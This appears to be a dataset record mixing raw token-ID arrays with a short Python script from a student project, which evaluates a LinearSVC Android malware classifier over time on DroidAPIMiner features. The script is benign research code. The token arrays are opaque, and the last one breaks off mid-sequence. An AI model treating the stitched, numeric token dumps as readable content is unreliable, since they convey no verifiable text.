[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 13, 1649, 8921, 1649, 353, 525, 29926, 347, 29915, 13, 13, 5215, 2897, 29892, 14319, 1445, 13, 5215, 11701, 408, 10518, 13, 3166, 2791, 14340, 29874, 1725, 1053, 4485, 786, 13, 3166, 29784, 1053, 6684, 29892, 3142, 29918, 1454, 29892, 11013, 29892, 1857, 29918, 932, 13, 3166, 29784, 29918, 6406, 29889, 21570, 1053, 18074, 433, 13, 3166, 29784, 29918, 6406, 29889, 6510, 1053, 20019, 6595, 13, 3166, 29784, 29918, 6406, 29889, 4299, 29889, 689, 1053, 512, 1220, 2500, 12754, 13, 3166, 4576, 284, 305, 6764, 1053, 3653, 29892, 5153, 29892, 470, 29918, 13, 3166, 29784, 29918, 1792, 1053, 1857, 29918, 1792, 13, 3166, 29784, 29918, 6406, 29889, 7387, 1053, 3158, 13, 3166, 281, 29873, 9514, 29889, 3084, 4097, 1053, 15758, 362, 2392, 13, 13, 3166, 6317, 1053, 4833, 13, 3166, 869, 1053, 4113, 13, 3166, 6317, 9794, 1053, 8170, 29892, 17163, 29892, 10969, 3401, 29892, 10969, 3981, 3401, 29892, 4649, 13857, 29892, 12034, 13, 3166, 6317, 4422, 1053, 931, 29918, 4830, 13, 13, 1990, 19130, 19347, 3195, 1043, 29898, 3044, 433, 29889, 3195, 1043, 1125, 13, 1678, 822, 338, 29918, 5943, 1821, 29898, 1311, 1125, 13, 4706, 736, 1857, 29918, 1792, 29889, 275, 29918, 27218, 630, 13, 13, 1678, 822, 297, 5943, 1821, 29918, 14035, 29898, 1311, 29892, 1024, 29892, 3579, 19290, 1125, 13, 4706, 736, 6684, 29898, 2271, 29918, 1454, 703, 1792, 29889, 7507, 5783, 13, 13, 1990, 17163, 12754, 29898, 11049, 19347, 3195, 1043, 1125, 13, 1678, 508, 29918, 8143, 353, 7700, 13, 1678, 508, 29918, 5628, 353, 7700, 13, 1678, 508, 29918, 3258, 353, 7700, 13, 13, 1678, 822, 903, 4294, 29918, 4882, 29898, 1493, 29892, 3030, 29892, 1904, 29892, 1024, 1125, 13, 4706, 736, 1904, 29889, 4882, 29918, 1807, 13, 13, 1678, 822, 903, 4294, 29918, 667, 29918, 2798, 29898, 1493, 29892, 3030, 29892, 1904, 29892, 1024, 1125, 13, 4706, 396, 2457, 1904, 29889, 20488, 29889, 2798, 580, 396, 29883, 6735, 671, 445, 1363, 278, 1206, 310, 1797, 1353, 337, 29899, 1509, 13, 4706, 4982, 29918, 1445, 353, 2897, 29889, 2084, 29889, 7122, 29898, 3784, 29918, 932, 29889, 2917, 1839, 3970, 16048, 29428, 29918, 29943, 5607, 8032, 7464, 1904, 29889, 25118, 29892, 1904, 29889, 25118, 718, 15300, 7554, 1495, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 9057, 29918, 1445, 1125, 13, 9651, 736, 11860, 29881, 313, 20488, 5513, 1273, 1904, 29889, 20488, 29889, 2798, 580, 13, 4706, 1018, 29901, 13, 9651, 411, 14319, 1445, 29889, 26264, 2283, 29898, 9057, 29918, 1445, 29897, 408, 503, 29901, 13, 18884, 2888, 29879, 29918, 2176, 353, 10518, 29889, 949, 29918, 24633, 29898, 29920, 29889, 3150, 29898, 29884, 29908, 30775, 31649, 234, 151, 182, 233, 141, 168, 31166, 29889, 20267, 29916, 4968, 5486, 2153, 3790, 13, 462, 1678, 318, 29908, 231, 191, 132, 31729, 31894, 31166, 31795, 30850, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29908, 31997, 30631, 30313, 31600, 30461, 30467, 30690, 31183, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29908, 31997, 30631, 30313, 31679, 31852, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29908, 31997, 30631, 30313, 235, 178, 132, 30631, 30850, 31183, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29908, 30910, 235, 183, 170, 30313, 31600, 30461, 30467, 30690, 31183, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29908, 30910, 235, 183, 170, 30313, 31679, 31852, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29908, 31427, 31399, 232, 167, 138, 233, 164, 139, 30850, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29908, 30910, 235, 183, 170, 30313, 31679, 31852, 1115, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 462, 1678, 318, 29915, 31466, 31180, 31166, 30956, 2396, 14013, 921, 29901, 851, 29898, 29916, 511, 13, 18884, 5615, 13, 18884, 736, 7431, 29898, 6341, 29879, 29918, 2176, 29889, 2248, 29897, 13, 4706, 5174, 8960, 29892, 832, 29901, 13, 9651, 736, 11860, 29881, 313, 20488, 5513, 1273, 1904, 29889, 20488, 29889, 2798, 580, 13, 13, 1678, 1897, 29918, 4830, 2153, 353, 426, 13, 4706, 525, 4882, 2396, 903, 4294, 29918, 4882, 29892, 13, 4706, 525, 1037, 362, 29918, 2230, 2396, 14013, 325, 29892, 274, 29892, 286, 29892, 282, 29901, 931, 29918, 4830, 29898, 29885, 29889, 1037, 362, 29918, 2230, 511, 13, 4706, 525, 5729, 12757, 29918, 2230, 2396, 14013, 325, 29892, 274, 29892, 286, 29892, 282, 29901, 931, 29918, 4830, 29898, 29885, 29889, 5729, 12757, 29918, 2230, 511, 13, 4706, 525, 667, 29918, 2798, 2396, 903, 4294, 29918, 667, 29918, 2798, 29892, 13, 1678, 500, 13, 13, 1990, 21397, 11947, 12754, 29898, 11947, 12754, 1125, 13, 1678, 1051, 29918, 6886, 353, 376, 6406, 29914, 9057, 29914, 1761, 29889, 1420, 29908, 13, 1678, 1897, 29918, 4478, 519, 29918, 1761, 353, 6702, 25118, 742, 525, 1037, 362, 29918, 2230, 742, 525, 790, 2853, 1495, 13, 1678, 1897, 29918, 735, 2325, 29918, 1761, 353, 6702, 25376, 482, 742, 525, 4906, 1495, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 5729, 12757, 29918, 2230, 742, 5852, 29897, 13, 1678, 1897, 29918, 1761, 353, 6702, 25118, 742, 525, 4882, 742, 525, 5729, 12757, 29918, 2230, 742, 525, 667, 29918, 2798, 742, 525, 3259, 742, 525, 790, 2853, 1495, 13, 13, 1678, 822, 679, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 1311, 29889, 4299, 467, 4572, 29898, 1311, 29889, 4299, 29889, 4882, 1275, 17163, 29889, 5709, 29889, 21514, 1307, 29911, 3352, 29897, 13, 13, 1678, 822, 679, 29918, 2798, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 9891, 29889, 2798, 877, 29930, 1495, 467, 4572, 29898, 1311, 29889, 4299, 29889, 4882, 1275, 17163, 29889, 5709, 29889, 21514, 1307, 29911, 3352, 29897, 13, 13, 1990, 18390, 11947, 12754, 29898, 11947, 12754, 1125, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 1037, 362, 29918, 2230, 742, 5852, 29897, 13, 1678, 1897, 29918, 1761, 353, 6702, 25118, 742, 525, 4882, 742, 525, 1037, 362, 29918, 2230, 742, 525, 25376, 482, 742, 525, 4906, 742, 525, 790, 2853, 1495, 13, 13, 1678, 822, 679, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 1311, 29889, 4299, 467, 4572, 29898, 272, 23538, 1311, 29889, 4299, 29889, 4882, 1275, 17163, 29889, 5709, 29889, 4519, 29902, 20566, 29892, 1583, 29889, 4299, 29889, 4882, 1275, 17163, 29889, 5709, 29889, 2287, 1307, 29911, 3352, 876, 13, 13, 1678, 822, 679, 29918, 2798, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 9891, 29889, 2798, 877, 29930, 1495, 467, 4572, 29898, 272, 23538, 1311, 29889, 4299, 29889, 4882, 1275, 17163, 29889, 5709, 29889, 4519, 29902, 20566, 29892, 1583, 29889, 4299, 29889, 4882, 1275, 17163, 29889, 5709, 29889, 2287, 1307, 29911, 3352, 876, 13, 13, 1990, 8170, 12754, 29898, 11049, 19347, 3195, 1043, 1125, 13, 1678, 822, 903, 4294, 29918, 1853, 29898, 1493, 29892, 3030, 29892, 1904, 29892, 1024, 1125, 13, 4706, 736, 1904, 29889, 1853, 29918, 978, 13, 13, 1678, 1897, 29918, 4830, 2153, 353, 426, 13, 4706, 525, 1853, 2396, 903, 4294, 29918, 1853, 29892, 13, 4706, 525, 9009, 29918, 2230, 2396, 14013, 325, 29892, 274, 29892, 286, 29892, 282, 29901, 931, 29918, 4830, 29898, 29885, 29889, 9009, 29918, 2230, 511, 13, 4706, 525, 3880, 29918, 2230, 2396, 14013, 325, 29892, 274, 29892, 286, 29892, 282, 29901, 931, 29918, 4830, 29898, 29885, 29889, 3880, 29918, 2230, 511, 13, 1678, 500, 13, 13, 1678, 1897, 29918, 4478, 519, 29918, 1761, 353, 6702, 2098, 29918, 4537, 742, 525, 13556, 2147, 29918, 333, 29918, 4537, 742, 525, 13556, 2147, 29918, 978, 1495, 13, 1678, 1897, 29918, 735, 2325, 29918, 1761, 353, 6702, 9057, 742, 29897, 13, 1678, 883, 29918, 735, 13347, 29918, 13099, 353, 6702, 9057, 742, 29897, 13, 1678, 1897, 29918, 14144, 29918, 735, 2325, 29918, 1761, 353, 6702, 9057, 742, 29897, 13, 13, 1990, 501, 8485, 7514, 12754, 29898, 7514, 12754, 1125, 13, 1678, 1051, 29918, 6886, 353, 376, 6406, 29914, 2098, 29914, 1761, 29889, 1420, 29908, 13, 1678, 508, 29918, 3258, 353, 7700, 13, 1678, 508, 29918, 8143, 353, 7700, 13, 1678, 508, 29918, 5628, 353, 7700, 13, 1678, 508, 29918, 1493, 29918, 14144, 353, 5852, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 3880, 29918, 2230, 742, 5852, 29897, 13, 13, 1678, 822, 679, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 1311, 29889, 4299, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1275, 5852, 29897, 13, 13, 1678, 822, 679, 29918, 2798, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 9891, 29889, 2798, 877, 29930, 1495, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1275, 5852, 29897, 13, 13, 1678, 732, 2467, 877, 276, 1509, 742, 318, 29908, 232, 191, 134, 30406, 31166, 30850, 613, 318, 29908, 233, 133, 171, 31835, 30495, 31383, 30698, 232, 191, 134, 30406, 30810, 31959, 31166, 30850, 30882, 1159, 13, 1678, 822, 3158, 29918, 9961, 345, 29898, 1311, 29892, 18999, 1125, 13, 4706, 1018, 29901, 13, 9651, 1797, 29918, 20326, 353, 5159, 13, 9651, 2346, 353, 8170, 29889, 1972, 29889, 4572, 29898, 7514, 29889, 333, 29889, 262, 23538, 4841, 8106, 2098, 29918, 1609, 29898, 14273, 29898, 7514, 29889, 3880, 29918, 2230, 876, 13, 9651, 363, 1797, 297, 2346, 29889, 497, 7295, 13, 18884, 1797, 29918, 20326, 29889, 4397, 29898, 2098, 29889, 2098, 29918, 4537, 29897, 13, 18884, 565, 1797, 29889, 2267, 13857, 29918, 333, 29901, 13, 462, 1678, 12020, 8960, 29892, 318, 29908, 31352, 30545, 232, 191, 134, 30406, 31290, 31302, 30683, 31166, 30850, 29901, 1273, 29879, 29908, 1273, 1797, 29889, 2098, 29918, 4537, 13, 18884, 1797, 29889, 2218, 7543, 580, 13, 9651, 4833, 29889, 7924, 29889, 15060, 580, 13, 9651, 11013, 29898, 29884, 29908, 30847, 30557, 31166, 30850, 31290, 31412, 232, 191, 134, 30406, 30383, 29961, 29995, 29879, 18017, 1273, 9162, 11393, 7122, 29898, 2098, 29918, 20326, 876, 13, 4706, 5174, 8960, 29892, 832, 29901, 13, 13, 9651, 11013, 29898, 29884, 29908, 31352, 30545, 232, 191, 134, 30406, 31166, 30850, 30383, 29961, 29995, 29879, 29962, 30267, 31745, 235, 178, 178, 30847, 30557, 30383, 29905, 29876, 29995, 29879, 29908, 1273, 313, 613, 11393, 7122, 29898, 2098, 29918, 20326, 511, 851, 29898, 2611, 8243, 376, 2704, 1159, 13, 13, 13, 1990, 853, 3880, 7514, 12754, 29898, 7514, 12754, 1125, 13, 1678, 508, 29918, 3258, 353, 7700, 13, 1678, 508, 29918, 5628, 353, 7700, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 2098, 29918, 4537, 742, 7700, 29897, 13, 13, 1678, 822, 679, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 1311, 29889, 4299, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1360, 8824, 29892, 1583, 29889, 4299, 29889, 1853, 1275, 8170, 29889, 1542, 29889, 29990, 29902, 2190, 29897, 13, 13, 1678, 822, 679, 29918, 2798, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 9891, 29889, 2798, 877, 29930, 1495, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1275, 7700, 29892, 1583, 29889, 4299, 29889, 1853, 1275, 8170, 29889, 1542, 29889, 29990, 29902, 2190, 29897, 13, 13, 13, 1990, 853, 2267, 1461, 287, 7514, 12754, 29898, 7514, 12754, 1125, 13, 1678, 508, 29918, 3258, 353, 7700, 13, 1678, 508, 29918, 5628, 353, 7700, 13, 1678, 508, 29918, 8143, 353, 7700, 13, 1678, 508, 29918, 1493, 29918, 14144, 353, 5852, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 3880, 29918, 2230, 742, 5852, 29897, 13, 13, 1678, 822, 679, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 1311, 29889, 4299, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1360, 5574, 29892, 1583, 29889, 4299, 29889, 2267, 13857, 29918, 333, 1275, 6213, 29897, 13, 13, 1678, 822, 679, 29918, 2798, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 9891, 29889, 2798, 877, 29930, 1495, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1360, 5574, 29892, 1583, 29889, 4299, 29889, 2267, 13857, 29918, 333, 1275, 6213, 29897, 13, 13, 1990, 4649, 1461, 287, 7514, 12754, 29898, 7514, 12754, 1125, 13, 1678, 508, 29918, 3258, 353, 7700, 13, 1678, 508, 29918, 5628, 353, 7700, 13, 1678, 508, 29918, 8143, 353, 7700, 13, 1678, 508, 29918, 1493, 29918, 14144, 353, 5852, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 3880, 29918, 2230, 742, 5852, 29897, 13, 13, 1678, 822, 679, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 1311, 29889, 4299, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1360, 5574, 29892, 1583, 29889, 4299, 29889, 2267, 13857, 29918, 333, 15271, 6213, 29897, 13, 13, 1678, 822, 679, 29918, 2798, 29918, 1972, 29898, 1311, 1125, 13, 4706, 736, 1583, 29889, 7924, 29889, 1972, 29898, 9891, 29889, 2798, 877, 29930, 1495, 467, 4572, 29898, 1311, 29889, 4299, 29889, 3880, 1360, 5574, 29892, 1583, 29889, 4299, 29889, 2267, 13857, 29918, 333, 15271, 6213, 29897, 13, 13, 1990, 10969, 3981, 3401, 797, 1220, 3195, 2500, 29898, 797, 1220, 2500, 12754, 1125, 13, 1678, 1897, 29918, 21134, 353, 9657, 29898, 2798, 29922, 29884, 29908, 234, 177, 180, 30631, 30354, 613, 22683, 29918, 7915, 29918, 546, 29918, 1884, 29922, 29884, 29908, 31951, 234, 177, 180, 233, 178, 158, 30908, 29898, 29968, 29954, 25760, 13, 13, 1990, 10969, 3401, 12754, 29898, 11049, 19347, 3195, 1043, 1125, 13, 1678, 396, 14764, 29918, 9794, 353, 17288, 7566, 3981, 3401, 29892, 9657, 29898, 689, 29918, 13099, 29922, 1839, 2798, 25901, 29962, 13, 1678, 396, 14764, 29918, 9794, 353, 313, 7566, 3981, 3401, 797, 1220, 3195, 2500, 29898, 7566, 3981, 3401, 511, 29897, 13, 1678, 1897, 29918, 1761, 353, 313, 13, 4706, 525, 978, 742, 525, 1212, 29918, 7915, 742, 525, 29887, 2124, 29918, 7915, 742, 525, 5441, 29918, 9175, 742, 525, 5441, 29918, 546, 29918, 667, 742, 525, 20725, 29918, 401, 742, 525, 8159, 29918, 978, 742, 525, 12276, 29918, 978, 742, 13, 4706, 525, 1582, 29890, 453, 29918, 978, 742, 525, 27894, 742, 525, 311, 17990, 630, 1495, 13, 13, 1678, 1897, 29918, 21134, 353, 9657, 29898, 978, 29922, 29884, 29908, 31427, 31399, 30548, 31685, 613, 7787, 29918, 7915, 29922, 29884, 29908, 31951, 30631, 232, 138, 131, 30908, 29898, 29968, 29954, 19123, 2302, 29918, 7192, 359, 29922, 29884, 29908, 234, 177, 180, 30631, 30354, 847, 29871, 233, 178, 158, 30908, 29871, 1192, 29871, 31290, 30732, 232, 189, 162, 613, 13, 462, 308, 8666, 29918, 546, 29918, 9415, 29922, 29884, 29908, 31951, 31159, 31510, 231, 190, 186, 31168, 29898, 29968, 29954, 29897, 1192, 29871, 31290, 30732, 232, 189, 162, 613, 2989, 29918, 978, 29922, 29884, 29908, 30753, 31685, 29898, 30872, 30669, 30822, 31352, 30545, 31273, 31264, 19123, 18164, 29922, 29884, 29908, 232, 191, 134, 30406, 613, 13, 462, 308, 5190, 29918, 9175, 29922, 29884, 29908, 31166, 231, 190, 186, 613, 22683, 29918, 7915, 29922, 29884, 29908, 31951, 30631, 233, 178, 158, 30908, 29898, 29968, 29954, 19123, 8818, 29918, 401, 29922, 29884, 29908, 31427, 31399, 234, 171, 145, 30850, 613, 289, 8873, 29918, 5441, 29922, 29884, 29908, 31466, 235, 183, 188, 31166, 30956, 613, 13, 462, 308, 289, 8873, 29918, 5441, 29918, 401, 29922, 29884, 29908, 31466, 235, 183, 188, 31166, 30956, 30690, 31183, 613, 5190, 29918, 546, 29918, 667, 29922, 29884, 29908, 31166, 30502, 30834, 31399, 234, 151, 182, 233, 141, 168, 30354, 31180, 613, 21992, 29922, 29884, 29908, 235, 170, 135, 31168, 29914, 30883, 30850, 613, 13, 462, 308, 289, 29883, 29918, 4704, 29918, 401, 29922, 29884, 29908, 5371, 31427, 31399, 31795, 31183, 613, 289, 29883, 29918, 6550, 2450, 29922, 29884, 29908, 5371, 31427, 31399, 235, 170, 135, 31168, 30883, 30850, 613, 13, 462, 308, 289, 29883, 29918, 7496, 29918, 22640, 29922, 29884, 29908, 5371, 30622, 30685, 30354, 31180, 613, 289, 29883, 29918, 26658, 358, 29918, 5441, 29922, 29884, 29908, 5371, 31466, 31180, 31166, 30956, 613, 13, 462, 308, 289, 29883, 29918, 7496, 29918, 26658, 358, 29918, 5441, 29922, 29884, 29908, 5371, 30622, 30685, 31466, 31180, 31166, 30956, 613, 3461, 29918, 978, 29922, 29884, 29908, 233, 141, 168, 31166, 30275, 31542, 30858, 30548, 31685, 613, 13, 462, 308, 23381, 29918, 978, 29922, 29884, 29908, 30446, 234, 168, 171, 30548, 31685, 613, 23381, 29918, 9175, 29922, 29884, 29908, 30446, 234, 168, 171, 31166, 231, 190, 186, 613, 982, 29890, 453, 29918, 978, 29922, 29884, 29908, 30806, 31166, 30275, 31542, 30858, 30548, 31685, 613, 12049, 29922, 29884, 29915, 31532, 30874, 742, 13, 462, 308, 9379, 29875, 519, 29918, 294, 29918, 1384, 29918, 29946, 29918, 12343, 778, 29922, 29884, 29908, 29946, 234, 192, 147, 31473, 232, 147, 174, 30287, 30502, 31436, 30651, 30429, 31751, 231, 189, 170, 31399, 31403, 233, 141, 168, 234, 171, 145, 613, 13, 462, 308, 1661, 29918, 29881, 11321, 519, 29918, 294, 29918, 497, 29918, 29953, 29918, 12343, 778, 29922, 29884, 29908, 29953, 234, 192, 147, 30753, 30392, 31751, 231, 189, 170, 31399, 31403, 30413, 233, 141, 168, 234, 171, 145, 1159, 13, 1678, 508, 29918, 1493, 29918, 14144, 353, 5852, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 978, 742, 7700, 29897, 13, 1678, 1897, 29918, 4478, 519, 29918, 1761, 353, 6702, 978, 742, 525, 8159, 29918, 978, 742, 525, 12276, 29918, 978, 1495, 13, 1678, 883, 29918, 735, 13347, 29918, 13099, 353, 6702, 9175, 29918, 546, 29918, 9415, 742, 525, 2798, 29918, 7192, 359, 1495, 13, 13, 1678, 822, 903, 4294, 29918, 2798, 29918, 7192, 359, 29898, 1493, 29892, 3030, 29892, 1904, 29892, 1024, 1125, 13, 4706, 736, 4485, 786, 29898, 4299, 29889, 2798, 29918, 3888, 29918, 1807, 29897, 13, 13, 1678, 1897, 29918, 4830, 2153, 353, 426, 13, 4706, 525, 2798, 29918, 7192, 359, 2396, 903, 4294, 29918, 2798, 29918, 7192, 359, 29892, 13, 13, 1678, 500, 13, 13, 1678, 822, 373, 29918, 4299, 29918, 3167, 29898, 1311, 29892, 883, 29892, 1904, 29892, 338, 29918, 11600, 1125, 13, 4706, 1904, 29889, 978, 353, 376, 1642, 7122, 29898, 4299, 29889, 978, 29889, 17010, 2141, 5451, 3101, 13, 4706, 565, 451, 338, 29918, 11600, 29901, 13, 9651, 565, 883, 29889, 8159, 29918, 978, 29889, 3318, 29918, 1272, 15271, 883, 29889, 8159, 29918, 978, 29889, 1272, 29901, 13, 18884, 1904, 29889, 8159, 29918, 978, 353, 883, 29889, 8159, 29918, 978, 29889, 3318, 29918, 1272, 13, 4706, 1683, 29901, 13, 9651, 1904, 29889, 8159, 29918, 978, 353, 376, 1642, 7122, 29898, 4299, 29889, 8159, 29918, 978, 29889, 17010, 2141, 5451, 3101, 13, 13, 1678, 822, 23381, 29918, 978, 29918, 3317, 29918, 2848, 29898, 689, 29892, 1746, 1125, 13, 4706, 565, 1746, 29889, 1272, 322, 7431, 29898, 2671, 29889, 1272, 29897, 1405, 29871, 29941, 29900, 29901, 13, 9651, 12020, 15758, 362, 2392, 29898, 29884, 29908, 30446, 234, 168, 171, 30548, 31685, 30878, 31143, 29941, 29900, 30578, 31277, 1159, 13, 13, 1678, 883, 29918, 5085, 353, 9657, 29898, 13, 4706, 23381, 29918, 978, 29922, 8977, 29898, 3084, 4097, 11759, 29873, 8522, 29918, 978, 29918, 3317, 29918, 2848, 2314, 13, 1678, 1723, 13, 13, 13, 1990, 4649, 13857, 12754, 29898, 11049, 19347, 3195, 1043, 1125, 13, 1678, 1051, 29918, 6886, 353, 376, 6406, 29914, 2267, 13857, 29914, 1761, 29889, 1420, 29908, 13, 1678, 508, 29918, 3258, 353, 7700, 13, 1678, 508, 29918, 5628, 353, 7700, 13, 1678, 508, 29918, 8143, 353, 7700, 13, 1678, 1897, 29918, 4478, 519, 29918, 1761, 353, 6702, 25118, 742, 525, 16394, 1495, 13, 1678, 1897, 29918, 4381, 29918, 6605, 353, 6702, 16394, 742, 5852, 29897, 13, 13, 1678, 1897, 29918, 4830, 2153, 353, 426, 13, 4706, 525, 16394, 2396, 14013, 325, 29892, 274, 29892, 286, 29892, 282, 29901, 931, 29918, 4830, 29898, 29885, 29889, 16394, 511, 13, 1678, 500, 13, 13, 13, 1990, 12034, 12754, 29898, 11049, 19347, 3195, 1043, 1125, 13, 1678, 1897, 29918, 21134, 353, 9657, 29898, 978, 29922, 29884, 29908, 30548, 31685, 613, 775, 29922, 29884, 29908, 31795, 31183, 613, 9316, 29922, 29884, 29915, 31473, 232, 147, 174, 231, 189, 170, 31399, 1495, 13, 1678, 1897, 29918, 1761, 353, 6702, 978, 742, 525, 401, 742, 525, 14456, 1495, 13, 13, 13, 6406, 29889, 1202, 29918, 1493, 29898, 14191, 11947, 12754, 29898, 11947, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 8698, 29918, 9057, 29879, 613, 1024, 29922, 29884, 29908, 30486, 30494, 235, 177, 165, 31166, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 8015, 13857, 12754, 29898, 8015, 13857, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 8698, 29918, 2267, 13857, 613, 1024, 29922, 29884, 29908, 31302, 30683, 235, 177, 165, 31166, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 12085, 12754, 29898, 12085, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 13134, 613, 1024, 29922, 29884, 29908, 31532, 30874, 31624, 30687, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 7566, 3401, 12754, 29898, 7566, 3401, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 4704, 29918, 3888, 613, 1024, 29922, 29884, 29908, 31427, 31399, 30689, 31021, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 2525, 3880, 7514, 12754, 29898, 7514, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 348, 3880, 29918, 15770, 29918, 2098, 613, 1024, 29922, 29884, 29908, 31295, 30785, 30406, 235, 177, 165, 31166, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 29965, 8485, 7514, 12754, 29898, 7514, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 3880, 29918, 2098, 613, 1024, 29922, 29884, 29908, 31290, 30486, 30494, 235, 177, 165, 31166, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 2525, 2267, 1461, 287, 7514, 12754, 29898, 7514, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 348, 2267, 1461, 287, 29918, 2098, 613, 1024, 29922, 29884, 29908, 31295, 31302, 30683, 235, 177, 165, 31166, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 8015, 1461, 287, 7514, 12754, 29898, 7514, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 2267, 1461, 287, 29918, 2098, 613, 1024, 29922, 29884, 29908, 31290, 31302, 30683, 235, 177, 165, 31166, 5783, 13, 6406, 29889, 1202, 29918, 1493, 29898, 17776, 11947, 12754, 29898, 11947, 29892, 4833, 29889, 7924, 29892, 16248, 543, 6406, 29889, 26061, 29918, 9057, 29879, 613, 1024, 29922, 29884, 29908, 31745, 235, 178, 178, 31410, 31283, 5783, 13, 6406, 29889, 1202, 29918, 2324, 29898, 6823, 6595, 29898, 978, 29922, 29884, 29908, 30742, 30780, 30888, 30967, 30806, 613, 16248, 543, 8862, 29918, 355, 29889, 2248, 5783, 13, 2 ]
masters/droidapiminer_timeline.py
markansn/masters_project
0
132242
<filename>masters/droidapiminer_timeline.py<gh_stars>0 import datetime import sys from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import StratifiedKFold sys.path.append("..") from sklearn.svm import LinearSVC from sklearn import metrics as sklearn_metrics from sklearn.feature_extraction.text import TfidfVectorizer as TF from tesseract import evaluation, temporal, metrics, mock, viz import CommonModules as CM import numpy as np from sklearn.model_selection import GridSearchCV import pickle from sklearn.feature_extraction import DictVectorizer from load_features import load_features def main(): X, Y, t = load_features("../droidapiminer_data/apg-droidapiminer") # X = [] # Y = [] # for i, item in enumerate(X1): # if item != {}: # X.append(item) # Y.append(Y1[i]) # t.append(t1[i]) for i in range(0, len(t)): item = t[i] print(item.year) t[i] = datetime.datetime(item.year, 1, 1) print(t) print(len(X)) vec = DictVectorizer() x = vec.fit_transform(X) y = np.asarray(Y) tv = np.asarray(t) print(len(X)) splits = temporal.time_aware_train_test_split( x, y, tv, train_size=24, test_size=1, granularity='month') Parameters = {'C': [0.001, 0.01, 0.1, 1, 10, 100, 1000]} # Perform a timeline evaluation # clf = GridSearchCV(LinearSVC(), Parameters, cv= 5, scoring= 'f1', n_jobs=4, verbose=2 ) clf = LinearSVC(max_iter=10000, C=1) # clf = RandomForestClassifier() results = evaluation.fit_predict_update(clf, *splits) # View results metrics.print_metrics(results) plt = viz.plot_decay(results) plt.show() # View AUT(F1, 24 months) as a measure of robustness over time print(metrics.aut(results, 'f1')) if __name__ == '__main__': main()
[ 1, 529, 9507, 29958, 6207, 29879, 29914, 29881, 1007, 481, 326, 4983, 29918, 9346, 5570, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 5215, 12865, 13, 5215, 10876, 13, 13, 3166, 2071, 19668, 29889, 24031, 1053, 16968, 2831, 342, 2385, 3709, 13, 3166, 2071, 19668, 29889, 4299, 29918, 21731, 1053, 3767, 271, 2164, 29968, 29943, 1025, 13, 13, 9675, 29889, 2084, 29889, 4397, 703, 636, 1159, 13, 3166, 2071, 19668, 29889, 4501, 29885, 1053, 22985, 7597, 29907, 13, 3166, 2071, 19668, 1053, 21556, 408, 2071, 19668, 29918, 2527, 10817, 13, 3166, 2071, 19668, 29889, 14394, 29918, 1062, 13857, 29889, 726, 1053, 323, 29888, 333, 29888, 12877, 3950, 408, 323, 29943, 13, 3166, 260, 16136, 627, 1053, 17983, 29892, 25406, 29892, 21556, 29892, 11187, 29892, 25294, 